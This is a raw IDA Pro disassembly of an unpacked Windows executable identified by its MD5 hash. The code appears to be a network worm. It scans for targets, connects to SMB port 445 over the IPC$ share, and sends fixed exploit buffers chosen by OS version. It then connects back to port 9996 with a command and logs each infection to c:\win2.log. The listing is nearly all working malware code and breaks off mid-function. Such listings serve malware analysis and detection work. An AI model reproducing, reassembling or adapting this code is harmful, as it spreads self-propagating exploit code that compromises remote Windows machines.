;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	74F51B0C7761FF950B443F88DF9B33E9

; File Name   :	u:\work\74f51b0c7761ff950b443f88df9b33e9_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00008000 (  32768.)
; Section size in file		: 00008000 (  32768.)
; Offset to raw	data for section: 00001000
; Flags	E0000020: Text Executable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_text		segment	para public 'CODE' use32
		assume cs:_text
		;org 401000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================



sub_401000	proc near		; CODE XREF: sub_40127D+7Cp
					; sub_401EF0:loc_401F35p ...
		mov	eax, ds:dword_406F30
		imul	eax, 343FDh
		add	eax, 279EC3h
		mov	ds:dword_406F30, eax
		shr	eax, 10h
		and	eax, 7FFFh
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================



sub_40101E	proc near		; CODE XREF: sub_402029+1Fp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ds:dword_406F30, eax
		retn
sub_40101E	endp


; =============== S U B	R O U T	I N E =======================================



sub_401028	proc near		; CODE XREF: sub_402029+24p

var_190		= byte ptr -190h

		sub	esp, 190h
		lea	eax, [esp+190h+var_190]
		push	eax
		push	101h
		call	ds:dword_405114	; WSAStartup
		add	esp, 190h
		retn
sub_401028	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401045	proc near		; CODE XREF: sub_4010D2+4Cp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	ds:dword_40510C	; inet_addr
		movsx	ecx, al
		mov	[ebp+arg_0], eax
		movsx	edx, byte ptr [ebp+arg_0+2]
		movsx	esi, byte ptr [ebp+arg_0+3]
		movsx	edi, ah
		test	ecx, ecx
		mov	eax, 100h
		jge	short loc_40106F
		add	ecx, eax


loc_40106F:				; CODE XREF: sub_401045+26j
		test	edi, edi
		jge	short loc_401075
		add	edi, eax


loc_401075:				; CODE XREF: sub_401045+2Cj
		test	edx, edx
		jge	short loc_40107B
		add	edx, eax


loc_40107B:				; CODE XREF: sub_401045+32j
		test	esi, esi
		jge	short loc_401081
		add	esi, eax


loc_401081:				; CODE XREF: sub_401045+38j
		push	1
		cmp	ecx, 7Fh
		pop	eax
		jnz	short loc_401095
		test	edi, edi
		jnz	short loc_4010CE
		test	edx, edx
		jnz	short loc_4010CE
		cmp	esi, eax
		jz	short loc_4010CC


loc_401095:				; CODE XREF: sub_401045+42j
		cmp	ecx, 0Ah
		jz	short loc_4010CC
		cmp	ecx, 0ACh
		jnz	short loc_4010AC
		cmp	edi, 0Fh
		jle	short loc_4010CE
		cmp	edi, 20h
		jl	short loc_4010CC


loc_4010AC:				; CODE XREF: sub_401045+5Bj
		cmp	ecx, 0C0h
		jnz	short loc_4010BC
		cmp	edi, 0A8h
		jz	short loc_4010CC


loc_4010BC:				; CODE XREF: sub_401045+6Dj
		cmp	ecx, 0A9h
		jnz	short loc_4010CE
		cmp	edi, 0FEh
		jnz	short loc_4010CE


loc_4010CC:				; CODE XREF: sub_401045+4Ej
					; sub_401045+53j ...
		xor	al, al


loc_4010CE:				; CODE XREF: sub_401045+46j
					; sub_401045+4Aj ...
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_401045	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4010D2	proc near		; CODE XREF: sub_40127D+9Cp
					; sub_401EF0+1Ap

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_100]
		push	0FFh
		push	eax
		call	ds:dword_405104	; gethostname
		test	eax, eax
		jnz	short loc_401136
		lea	eax, [ebp+var_100]
		push	eax
		call	ds:dword_405110	; gethostbyname
		mov	edi, eax
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_401136
		mov	eax, [edi+0Ch]
		cmp	[eax], esi
		jz	short loc_401136


loc_401110:				; CODE XREF: sub_4010D2+60j
		mov	eax, [esi+eax]
		push	dword ptr [eax]
		call	ds:dword_405108	; inet_ntoa
		mov	ebx, eax
		push	ebx
		call	sub_401045
		test	al, al
		pop	ecx
		jnz	short loc_40113D
		mov	eax, [edi+0Ch]
		add	esi, 4
		cmp	dword ptr [esi+eax], 0
		jnz	short loc_401110
		jmp	short loc_401139
; ---------------------------------------------------------------------------


loc_401136:				; CODE XREF: sub_4010D2+20j
					; sub_4010D2+35j ...
		mov	ebx, [ebp+arg_0]


loc_401139:				; CODE XREF: sub_4010D2+62j
		test	ebx, ebx
		jz	short loc_401140


loc_40113D:				; CODE XREF: sub_4010D2+54j
		push	ebx
		jmp	short loc_401145
; ---------------------------------------------------------------------------


loc_401140:				; CODE XREF: sub_4010D2+69j
		push	offset a127_0_0_1 ; "127.0.0.1"


loc_401145:				; CODE XREF: sub_4010D2+6Cj
		push	[ebp+arg_0]
		call	ds:dword_405018	; lstrcpyA
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4010D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401153	proc near		; CODE XREF: sub_401EF0+E2p

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_4021B0
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	1BDh
		call	ds:dword_4050F4	; ntohs
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	sub_4011D5
		mov	[ebp+var_C], eax
		push	8
		lea	eax, [ebp+var_8]
		push	0
		push	eax
		call	sub_4021B0
		add	esp, 10h
		push	6
		push	1
		pop	ebx
		push	ebx
		push	2
		call	ds:dword_4050F8	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4011B4
		xor	al, al
		jmp	short loc_4011D1
; ---------------------------------------------------------------------------


loc_4011B4:				; CODE XREF: sub_401153+5Bj
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	ds:dword_4050FC	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4011C8
		xor	bl, bl


loc_4011C8:				; CODE XREF: sub_401153+71j
		push	esi
		call	ds:dword_40511C	; closesocket
		mov	al, bl


loc_4011D1:				; CODE XREF: sub_401153+5Fj
		pop	esi
		pop	ebx
		leave
		retn
sub_401153	endp


; =============== S U B	R O U T	I N E =======================================



sub_4011D5	proc near		; CODE XREF: sub_401153+30p
					; sub_40127D+34p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		push	edi
		call	ds:dword_40510C	; inet_addr
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4011F2
		test	esi, esi
		jnz	short loc_401204
		cmp	byte ptr [edi],	30h
		jz	short loc_40120B


loc_4011F2:				; CODE XREF: sub_4011D5+12j
		push	edi
		call	ds:dword_405110	; gethostbyname
		test	eax, eax
		jz	short loc_401204
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	esi, [eax]


loc_401204:				; CODE XREF: sub_4011D5+16j
					; sub_4011D5+26j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40120B
		xor	esi, esi


loc_40120B:				; CODE XREF: sub_4011D5+1Bj
					; sub_4011D5+32j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_4011D5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401210	proc near		; CODE XREF: sub_40127D+F9p

var_14		= byte ptr -14h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		inc	ds:dword_406F34
		push	edi
		push	ds:dword_406F34
		lea	eax, [ebp+var_14]
		push	offset aI	; "%i"
		push	eax
		call	ds:dword_4050E0	; wsprintfA
		add	esp, 0Ch
		push	0
		push	offset aCWin2_log ; "c:\\win2.log"
		call	ds:dword_405024	; _lcreat
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_40127A
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_402210
		mov	esi, ds:dword_405020
		pop	ecx
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	edi
		call	esi	; _lwrite
		push	[ebp+arg_0]
		call	sub_402210
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	esi	; _lwrite
		push	edi
		call	ds:dword_40501C	; _lclose
		pop	esi


loc_40127A:				; CODE XREF: sub_401210+37j
		pop	edi
		leave
		retn
sub_401210	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40127D	proc near		; CODE XREF: sub_401A84+7Bp

var_348		= dword	ptr -348h
var_33C		= byte ptr -33Ch
var_110		= byte ptr -110h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 33Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	10h
		lea	eax, [ebp+var_10]
		push	ebx
		push	eax
		call	sub_4021B0
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	270Ch
		call	ds:dword_4050F4	; ntohs
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	sub_4011D5
		mov	[ebp+var_C], eax
		push	8
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		call	sub_4021B0
		add	esp, 10h
		push	6
		push	1
		push	2
		call	ds:dword_4050F8	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_4012E2
		xor	al, al
		jmp	loc_401394
; ---------------------------------------------------------------------------


loc_4012E2:				; CODE XREF: sub_40127D+5Cj
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	ds:dword_4050FC	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_40138B
		push	esi
		call	sub_401000
		mov	esi, eax
		lea	eax, [ebp+var_110]
		push	offset dword_406F38
		push	eax
		call	ds:dword_405018	; lstrcpyA
		lea	eax, [ebp+var_110]
		push	eax
		call	sub_4010D2
		push	esi
		lea	eax, [ebp+var_110]
		push	esi
		push	eax
		push	ds:off_406030
		lea	eax, [ebp+var_33C]
		push	eax
		call	ds:dword_4050E0	; wsprintfA
		lea	eax, [ebp+var_33C]
		xor	esi, esi
		push	eax
		call	sub_402210
		add	esp, 1Ch
		test	eax, eax
		jbe	short loc_401373


loc_40134F:				; CODE XREF: sub_40127D+F4j
		push	ebx
		lea	eax, [ebp+esi+var_33C]
		push	1
		push	eax
		push	edi
		call	ds:dword_4050F0	; send
		lea	eax, [ebp+var_33C]
		inc	esi
		push	eax
		call	sub_402210
		cmp	esi, eax
		pop	ecx
		jb	short loc_40134F


loc_401373:				; CODE XREF: sub_40127D+D0j
		push	[ebp+arg_0]
		call	sub_401210
		mov	[esp+348h+var_348], 3E8h
		call	ds:dword_405028	; Sleep
		mov	bl, 1
		pop	esi


loc_40138B:				; CODE XREF: sub_40127D+75j
		push	edi
		call	ds:dword_40511C	; closesocket
		mov	al, bl


loc_401394:				; CODE XREF: sub_40127D+60j
		pop	edi
		pop	ebx
		leave
		retn
sub_40127D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401398	proc near		; CODE XREF: sub_401A84+15p

var_744		= byte ptr -744h
var_714		= byte ptr -714h
var_104		= byte ptr -104h
var_103		= byte ptr -103h
var_B4		= byte ptr -0B4h
var_B1		= byte ptr -0B1h
var_87		= byte ptr -87h
var_85		= byte ptr -85h
var_84		= byte ptr -84h
var_3C		= byte ptr -3Ch
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 744h
		push	ebx
		push	esi
		push	edi
		push	offset dword_406F38
		push	[ebp+arg_4]
		call	ds:dword_405018	; lstrcpyA
		push	[ebp+arg_0]
		lea	eax, [ebp+var_3C]
		push	offset aSIpc	; "\\\\%s\\ipc$"
		push	eax
		call	ds:dword_4050E0	; wsprintfA
		add	esp, 0Ch
		xor	edi, edi
		xor	ecx, ecx
		lea	eax, [ebp+var_103]


loc_4013D1:				; CODE XREF: sub_401398+49j
		mov	dl, [ebp+ecx+var_3C]
		mov	[eax-1], dl
		and	byte ptr [eax],	0
		inc	ecx
		inc	eax
		inc	eax
		cmp	ecx, 28h
		jl	short loc_4013D1
		push	60h
		lea	eax, [ebp+var_B4]
		push	offset dword_4063E4
		push	eax
		call	sub_402290
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_402210
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_84]
		push	eax
		call	sub_402290
		add	esp, 1Ch
		lea	eax, [ebp+var_3C]
		push	9
		push	(offset	aC+3)
		push	eax
		call	sub_402210
		pop	ecx
		lea	eax, [ebp+eax*2+var_85]
		push	eax
		call	sub_402290
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_402210
		add	al, 1Ah
		push	1
		shl	al, 1
		mov	[ebp+var_2], al
		lea	eax, [ebp+var_2]
		push	eax
		lea	eax, [ebp+var_B1]
		push	eax
		call	sub_402290
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_402210
		shl	al, 1
		add	al, 9
		push	1
		mov	[ebp+var_1], al
		lea	eax, [ebp+var_1]
		push	eax
		lea	eax, [ebp+var_87]
		push	eax
		call	sub_402290
		add	esp, 2Ch
		push	[ebp+arg_0]
		call	ds:dword_405110	; gethostbyname
		mov	ebx, eax
		cmp	ebx, edi
		jz	loc_401554
		push	edi
		push	1
		push	2


loc_401495:				; DATA XREF: .text:off_4065D8o
		call	ds:dword_4050F8	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+arg_0], esi
		jz	loc_401554
		push	1BDh
		mov	[ebp+var_14], 2
		call	ds:dword_4050F4	; ntohs
		mov	[ebp+var_12], ax
		mov	eax, [ebx+0Ch]
		push	8
		push	edi
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4021B0
		add	esp, 0Ch
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	esi
		call	ds:dword_4050FC	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401554
		mov	ebx, ds:dword_4050F0
		push	edi
		push	89h
		push	offset dword_4061CC
		push	esi
		call	ebx	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401554
		push	edi
		mov	edi, 640h
		lea	eax, [ebp+var_744]
		push	edi
		push	eax
		push	esi
		mov	esi, ds:dword_4050EC
		call	esi	; recv
		push	0
		push	0A8h
		push	offset dword_406258
		push	[ebp+arg_0]
		call	ebx	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401554
		push	0
		lea	eax, [ebp+var_744]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	esi	; recv
		push	0
		push	0DEh
		push	offset dword_406304
		push	[ebp+arg_0]
		call	ebx	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401558


loc_401554:				; CODE XREF: sub_401398+F2j
					; sub_401398+10Bj ...
		xor	eax, eax
		jmp	short loc_401599
; ---------------------------------------------------------------------------


loc_401558:				; CODE XREF: sub_401398+1BAj
		push	0
		lea	eax, [ebp+var_744]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	esi	; recv
		push	46h
		lea	esi, [ebp+var_714]
		pop	edi


loc_401570:				; CODE XREF: sub_401398+1F3j
		movsx	eax, byte ptr [esi]
		push	eax
		push	[ebp+arg_4]
		push	offset aSC	; "%s%c"
		push	[ebp+arg_4]
		call	ds:dword_4050E0	; wsprintfA
		add	esp, 10h
		inc	esi
		inc	esi
		dec	edi
		jnz	short loc_401570
		push	[ebp+arg_0]
		call	ds:dword_40511C	; closesocket
		push	1
		pop	eax


loc_401599:				; CODE XREF: sub_401398+1BEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401398	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40159E	proc near		; CODE XREF: sub_401A84+3Bp
					; sub_401A84+5Ep ...

var_89C4	= byte ptr -89C4h
var_895C	= byte ptr -895Ch
var_68EC	= byte ptr -68ECh
var_687C	= byte ptr -687Ch
var_5DB8	= byte ptr -5DB8h
var_4814	= byte ptr -4814h
var_4813	= byte ptr -4813h
var_3780	= byte ptr -3780h
var_2CBC	= byte ptr -2CBCh
var_2CBB	= byte ptr -2CBBh
var_2CB8	= byte ptr -2CB8h
var_24D4	= byte ptr -24D4h
var_24C4	= byte ptr -24C4h
var_21A0	= byte ptr -21A0h
var_219C	= byte ptr -219Ch
var_2190	= byte ptr -2190h
var_1F08	= byte ptr -1F08h
var_1E8C	= byte ptr -1E8Ch
var_16BC	= byte ptr -16BCh
var_1211	= byte ptr -1211h
var_F24		= byte ptr -0F24h
var_E84		= byte ptr -0E84h
var_778		= dword	ptr -778h
var_768		= byte ptr -768h
var_754		= byte ptr -754h
var_114		= byte ptr -114h
var_113		= byte ptr -113h
var_C4		= byte ptr -0C4h
var_C1		= byte ptr -0C1h
var_97		= byte ptr -97h
var_95		= byte ptr -95h
var_94		= byte ptr -94h
var_4C		= byte ptr -4Ch
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 89C4h
		call	sub_4025D0
		mov	eax, ds:dword_406A34
		push	[ebp+arg_0]
		mov	[ebp+var_14], eax
		mov	eax, ds:dword_406A38
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_4C]
		push	offset aSIpc	; "\\\\%s\\ipc$"
		push	eax
		call	ds:dword_4050E0	; wsprintfA
		add	esp, 0Ch
		xor	ecx, ecx
		lea	eax, [ebp+var_113]


loc_4015D8:				; CODE XREF: sub_40159E+4Aj
		mov	dl, [ebp+ecx+var_4C]
		mov	[eax-1], dl
		and	byte ptr [eax],	0
		inc	ecx
		inc	eax
		inc	eax
		cmp	ecx, 28h
		jl	short loc_4015D8
		push	ebx
		push	esi
		push	edi
		push	60h
		lea	eax, [ebp+var_C4]
		push	offset dword_4063E4
		push	eax
		call	sub_402290
		lea	eax, [ebp+var_4C]
		push	eax
		call	sub_402210
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_402290
		add	esp, 1Ch
		lea	eax, [ebp+var_4C]
		push	9
		push	(offset	aC+3)
		push	eax
		call	sub_402210
		pop	ecx
		lea	eax, [ebp+eax*2+var_95]
		push	eax
		call	sub_402290
		lea	eax, [ebp+var_4C]
		push	eax
		call	sub_402210
		add	al, 1Ah
		push	1
		shl	al, 1
		mov	[ebp+var_5], al
		lea	eax, [ebp+var_5]
		push	eax
		lea	eax, [ebp+var_C1]
		push	eax
		call	sub_402290
		lea	eax, [ebp+var_4C]
		push	eax
		call	sub_402210
		shl	al, 1
		add	al, 9
		push	1
		mov	[ebp+var_6], al
		lea	eax, [ebp+var_6]
		push	eax
		lea	eax, [ebp+var_97]
		push	eax
		call	sub_402290
		add	esp, 2Ch
		push	270Ch
		call	ds:dword_4050F4	; ntohs
		xor	eax, 9999h
		push	2
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset dword_4060E4
		call	sub_402290
		mov	ebx, [ebp+arg_4]
		add	esp, 0Ch
		cmp	ebx, 1
		jz	short loc_40171A
		cmp	ebx, 2
		jz	short loc_40171A
		push	7D0h
		lea	eax, [ebp+var_F24]
		push	90h
		push	eax
		call	sub_4021B0
		mov	esi, offset loc_406034
		push	esi
		call	sub_402210
		push	eax
		lea	eax, [ebp+var_E84]
		push	esi
		push	eax
		call	sub_402290
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_402210
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_768]
		push	eax
		call	sub_402290
		add	esp, 2Ch
		imul	ebx, 3Ch
		mov	eax, ds:dword_406810[ebx]
		mov	[ebp+var_778], eax
		jmp	loc_4017EE
; ---------------------------------------------------------------------------


loc_40171A:				; CODE XREF: sub_40159E+115j
					; sub_40159E+11Aj
		mov	edi, 0DACh
		lea	eax, [ebp+var_2CB8]
		push	edi
		push	90h
		push	eax
		call	sub_4021B0
		imul	ebx, 3Ch
		push	4
		lea	eax, [ebp+var_24D4]
		lea	ebx, dword_406810[ebx]
		push	ebx
		push	eax
		call	sub_402290
		mov	esi, offset loc_406034
		push	esi
		call	sub_402210
		push	eax
		lea	eax, [ebp+var_24C4]
		push	esi
		push	eax
		call	sub_402290
		push	4
		lea	eax, [ebp+var_21A0]
		push	offset dword_406A2C
		push	eax
		call	sub_402290
		push	4
		lea	eax, [ebp+var_219C]
		push	ebx
		push	eax
		call	sub_402290
		add	esp, 40h
		push	esi
		call	sub_402210
		push	eax
		lea	eax, [ebp+var_2190]
		push	esi
		push	eax
		call	sub_402290
		add	esp, 10h
		xor	ecx, ecx
		lea	eax, [ebp+var_4813]


loc_4017A6:				; CODE XREF: sub_40159E+21Aj
		mov	dl, [ebp+ecx+var_2CB8]
		mov	[eax-1], dl
		and	byte ptr [eax],	0
		inc	ecx
		inc	eax
		inc	eax
		cmp	ecx, edi
		jl	short loc_4017A6
		and	[ebp+var_2CBC],	0
		and	[ebp+var_2CBB],	0
		mov	esi, 1C52h
		lea	eax, [ebp+var_89C4]
		push	esi
		push	31h
		push	eax
		call	sub_4021B0
		push	esi
		lea	eax, [ebp+var_68EC]
		push	31h
		push	eax
		call	sub_4021B0
		add	esp, 18h


loc_4017EE:				; CODE XREF: sub_40159E+177j
		push	0
		push	1
		push	2
		call	ds:dword_4050F8	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_4], edi
		jz	loc_401A7D
		push	1BDh
		mov	[ebp+var_24], 2
		call	ds:dword_4050F4	; ntohs
		push	[ebp+arg_0]
		mov	[ebp+var_22], ax
		call	sub_4011D5
		mov	[ebp+var_20], eax
		xor	ebx, ebx
		push	8
		lea	eax, [ebp+var_1C]
		push	ebx
		push	eax
		call	sub_4021B0
		add	esp, 10h
		lea	eax, [ebp+var_24]
		push	10h
		push	eax
		push	edi
		call	ds:dword_4050FC	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_401A7D
		mov	esi, ds:dword_4050F0
		push	ebx
		push	89h
		push	offset dword_4061CC
		push	edi
		call	esi	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_401A7D
		push	ebx
		mov	ebx, 640h
		lea	eax, [ebp+var_754]
		push	ebx
		push	eax
		push	edi
		mov	edi, ds:dword_4050EC
		call	edi	; recv
		push	0
		push	0A8h
		push	offset dword_406258
		push	[ebp+var_4]
		call	esi	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_401A7D
		push	0
		lea	eax, [ebp+var_754]
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	edi	; recv
		push	0
		push	0DEh
		push	offset dword_406304
		push	[ebp+var_4]
		call	esi	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_401A7D
		push	0
		lea	eax, [ebp+var_754]
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	edi	; recv
		movsx	eax, [ebp+var_5]
		add	eax, 4
		push	0
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	[ebp+var_4]
		call	esi	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_401A7D
		push	0
		lea	eax, [ebp+var_754]
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	edi	; recv
		push	0
		push	68h
		push	offset dword_406448
		push	[ebp+var_4]
		call	esi	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_401A7D
		push	0
		lea	eax, [ebp+var_754]
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	edi	; recv
		push	0
		push	0A0h
		push	offset dword_4064B4
		push	[ebp+var_4]
		call	esi	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_401A7D
		push	0
		lea	eax, [ebp+var_754]
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	edi	; recv
		cmp	[ebp+arg_4], 1
		jz	short loc_4019BB
		cmp	[ebp+arg_4], 2
		jz	short loc_4019BB
		push	7Ch
		lea	eax, [ebp+var_1F08]
		push	offset dword_406558
		push	eax
		call	sub_402290
		lea	eax, [ebp+var_F24]
		push	7D0h
		push	eax
		lea	eax, [ebp+var_1E8C]
		push	eax
		call	sub_402290
		push	90h
		lea	eax, [ebp+var_16BC]
		push	offset off_4065D8
		push	eax
		call	sub_402290
		add	esp, 24h
		and	[ebp+var_1211],	0
		lea	eax, [ebp+var_1F08]
		push	0
		push	0CF8h
		jmp	loc_401A5E
; ---------------------------------------------------------------------------


loc_4019BB:				; CODE XREF: sub_40159E+3B8j
					; sub_40159E+3BEj
		push	68h
		lea	eax, [ebp+var_89C4]
		push	offset dword_40666C
		push	eax
		call	sub_402290
		lea	eax, [ebp+var_4814]
		push	1B5Ah
		push	eax
		lea	eax, [ebp+var_895C]
		push	eax
		call	sub_402290
		push	70h
		lea	eax, [ebp+var_68EC]
		push	offset dword_4066D8
		push	eax
		call	sub_402290
		lea	eax, [ebp+var_3780]
		push	0A5Eh
		push	eax
		lea	eax, [ebp+var_687C]
		push	eax
		call	sub_402290
		push	84h
		lea	eax, [ebp+var_5DB8]
		push	offset dword_40674C
		push	eax
		call	sub_402290
		add	esp, 3Ch
		lea	eax, [ebp+var_89C4]
		push	0
		push	10FCh
		push	eax
		push	[ebp+var_4]
		call	esi	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401A7D
		push	0
		lea	eax, [ebp+var_754]
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	edi	; recv
		push	0
		push	0FDCh
		lea	eax, [ebp+var_68EC]


loc_401A5E:				; CODE XREF: sub_40159E+418j
		push	eax
		push	[ebp+var_4]
		call	esi	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401A7D
		push	3E8h
		call	ds:dword_405028	; Sleep
		push	[ebp+var_4]
		call	ds:dword_40511C	; closesocket


loc_401A7D:				; CODE XREF: sub_40159E+264j
					; sub_40159E+2ABj ...
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_40159E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401A84	proc near		; CODE XREF: sub_402029+3Ap

var_84		= byte ptr -84h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 84h
		push	esi
		mov	esi, [ebp+arg_0]
		lea	eax, [ebp+var_84]
		push	eax
		push	esi
		call	sub_401398
		pop	ecx
		cmp	eax, 1
		pop	ecx
		jnz	short loc_401B05
		lea	eax, [ebp+var_84]
		push	offset dword_406A40
		push	eax
		call	sub_402600
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401AC8
		push	0
		push	esi
		call	sub_40159E
		push	0
		jmp	short loc_401AF5
; ---------------------------------------------------------------------------


loc_401AC8:				; CODE XREF: sub_401A84+36j
		lea	eax, [ebp+var_84]
		push	offset dword_406A3C
		push	eax
		call	sub_402600
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401AEB
		push	1
		push	esi
		call	sub_40159E
		push	1
		jmp	short loc_401AF5
; ---------------------------------------------------------------------------


loc_401AEB:				; CODE XREF: sub_401A84+59j
		push	2
		push	esi
		call	sub_40159E
		push	2


loc_401AF5:				; CODE XREF: sub_401A84+42j
					; sub_401A84+65j
		push	esi
		call	sub_40159E
		add	esp, 10h
		push	esi
		call	sub_40127D
		pop	ecx


loc_401B05:				; CODE XREF: sub_401A84+1Fj
		pop	esi
		leave
		retn
sub_401A84	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401B08	proc near		; DATA XREF: sub_401E65+74o

var_8E4		= byte ptr -8E4h
var_4E4		= byte ptr -4E4h
var_4E0		= byte ptr -4E0h
var_E4		= byte ptr -0E4h
var_60		= byte ptr -60h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_26		= word ptr -26h
